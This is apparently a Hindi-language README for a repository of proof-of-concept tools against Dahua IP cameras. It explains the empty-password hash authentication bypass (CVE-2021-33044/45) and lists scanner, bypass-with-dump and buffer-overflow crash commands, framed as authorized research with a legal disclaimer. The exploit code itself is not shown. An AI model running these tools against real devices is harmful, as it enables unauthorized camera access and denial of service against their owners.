डाहुआ आईपी कैमरा CVE एक्सप्लॉइट टूल्स

⚠️ विकासाधीन — ये स्क्रिप्ट्स प्रकाशित CVE विवरणों पर आधारित हैं और पूर्ण कार्यक्षमता की पुष्टि के लिए कमजोर उपकरणों के विरुद्ध आगे परीक्षण की आवश्यकता है।

चार गंभीर डाहुआ आईपी कैमरा कमजोरियों के लिए शोध और proof-of-concept स्क्रिप्ट्स।

⚠️ कानूनी अस्वीकरण

THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING PURPOSES ONLY.

By using these tools, you agree that:
  1. You have EXPLICIT WRITTEN AUTHORIZATION to test the target systems
  2. You will NOT use these tools for illegal activities
  3. You accept full responsibility for your actions
  4. The authors are NOT liable for any misuse or damage

Unauthorized access to computer systems is a CRIMINAL OFFENSE in most jurisdictions.

शामिल CVE

CVE	CVSS	प्रकार	स्थिति
CVE-2021-33044	9.8 CRITICAL	प्रमाणीकरण बायपास	CISA KEV (सक्रिय रूप से शोषित)
CVE-2021-33045	9.8 CRITICAL	प्रमाणीकरण बायपास	CISA KEV (सक्रिय रूप से शोषित)
CVE-2025-31700	8.1 HIGH	बफर ओवरफ्लो DoS	हालिया (2025)
CVE-2025-31701	8.1 HIGH	बफर ओवरफ्लो DoS	हालिया (2025)

CVE-2021-33044 और CVE-2021-33045 — प्रमाणीकरण बायपास

CVSS: 9.8 गंभीर
CWE: CWE-287 (अनुचित प्रमाणीकरण)
तंत्र: RPC2 लॉगिन खाली-पासवर्ड हैश स्वीकार करता है, जो व्यवस्थापक पहुंच प्रदान करता है
प्रभावित: IPC-HUM7xxx, IPC-HX3xxx/HX5xxx, TPC-, VTO-, VTH-, NVR-, XVR-*
इसमें ठीक किया गया: फर्मवेयर 2.820.x+ (IPC) / 4.001.x+ (NVR/XVR)
संदर्भ:

CVE-2025-31700 और CVE-2025-31701 — बफर ओवरफ्लो (DoS/RCE)

CVSS: 8.1 उच्च
CWE: CWE-120 (इनपुट के आकार की जांच किए बिना बफर कॉपी)
तंत्र: अत्यधिक बड़े पैकेट बफर ओवरफ्लो उत्पन्न करते हैं → क्रैश या संभावित RCE
संदर्भ:
- NVD CVE-2025-31700
- डाहुआ सुरक्षा परामर्श

प्रमाणीकरण बायपास कैसे काम करता है

डाहुआ कैमरे /RPC2_Login पर challenge-response प्रमाणीकरण का उपयोग करते हैं:

Normal Login:
  step1 = MD5("admin:realm:PASSWORD")
  step2 = MD5("step1:random:step1")

Bypass (CVE-2021-33044/45):
  step1 = MD5("admin:realm:")      ← EMPTY password
  step2 = MD5("step1:random:step1")

कमजोर फर्मवेयर खाली-पासवर्ड हैश स्वीकार करता है और एक वैध सत्र टोकन लौटाता है।

स्क्रिप्ट्स

स्थापना

# Clone repository
git clone https://github.com/umair-aziz025/Dahua_IP_Camera_CVE_Exploit.git
cd Dahua_IP_Camera_CVE_Exploit

# Install dependencies
pip install requests

उपयोग

नेटवर्क स्कैनर

# Scan subnet (ports required)
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 8081

# Single host with port
python dahua_scanner.py 192.168.1.100:8081

# Full options
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 -w 100 -t 10 -v -o results.json

# Show help
python dahua_scanner.py --help

सामान्य डाहुआ पोर्ट: 80, 8000, 8080, 8081, 8888, 9000, 443, 37777

मल्टी-CVE एक्सप्लॉइट (अनुशंसित)

python dahua_exploit.py 192.168.1.100 -p 8081
python dahua_exploit.py 192.168.1.100 -c 2021-33044  # Single CVE
python dahua_exploit.py --help

प्रमाणीकरण बायपास

python dahua_auth_bypass.py 192.168.1.100 -p 8081
python dahua_auth_bypass.py 192.168.1.100 --dump  # Dump device info after bypass

बफर ओवरफ्लो DoS

python dahua_rce.py 192.168.1.100 -p 8081
python dahua_rce.py 192.168.1.100 --cve http  # HTTP only
python dahua_rce.py 192.168.1.100 --cve tcp   # TCP/37777 only

⚠️ चेतावनी: DoS स्क्रिप्ट लक्षित डिवाइस को क्रैश कर सकती है।

निर्भरताएँ

requests

अन्य सभी इम्पोर्ट Python मानक पुस्तकालय से हैं: socket, struct, hashlib, threading, ipaddress, argparse, json

विकास स्थिति

🚧 सक्रिय विकासाधीन

ये स्क्रिप्ट्स निम्न के आधार पर विकसित की गई हैं:

NVD से प्रकाशित CVE विवरण
डाहुआ सुरक्षा परामर्श
सार्वजनिक PoC संदर्भ (seclists.org, packetstormsecurity)

परीक्षण स्थिति:

✅ CVE विनिर्देशों के अनुसार प्रमाणीकरण बायपास तर्क लागू किया गया
✅ परामर्शों के अनुसार बफर ओवरफ्लो पेलोड निर्मित किए गए
⚠️ लाइव कमजोर उपकरणों के विरुद्ध सीमित परीक्षण
⚠️ विविध फर्मवेयर संस्करणों के विरुद्ध अतिरिक्त सत्यापन आवश्यक

यदि आपके पास परीक्षण के लिए कमजोर उपकरणों तक पहुंच है, तो योगदान और प्रतिक्रिया का स्वागत है।

योगदान

रिपॉजिटरी को फोर्क करें
एक फीचर ब्रांच बनाएं
अपने परिवर्तनों का परीक्षण करें
एक पुल रिक्वेस्ट सबमिट करें

कृपया किसी भी समस्या या गलत सकारात्मक की रिपोर्ट करें।

संदर्भ

लाइसेंस

MIT लाइसेंस - LICENSE फ़ाइल देखें।

लेखक

Umair Aziz
GitHub: @umair-aziz025

केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए।

`dahua_scanner.py`	नेटवर्क खोज — सबनेट पर डाहुआ कैमरे खोजें	पहचान
`dahua_exploit.py`	मल्टी-CVE स्कैनर — सभी कमजोरियों का परीक्षण	सभी
`dahua_auth_bypass.py`	`--dump` विकल्प के साथ समर्पित प्रमाणीकरण बायपास	CVE-2021-33044/45
`dahua_rce.py`	बफर ओवरफ्लो DoS प्रोब	CVE-2025-31700/01

dahua-cve-research

सबसे लोकप्रिय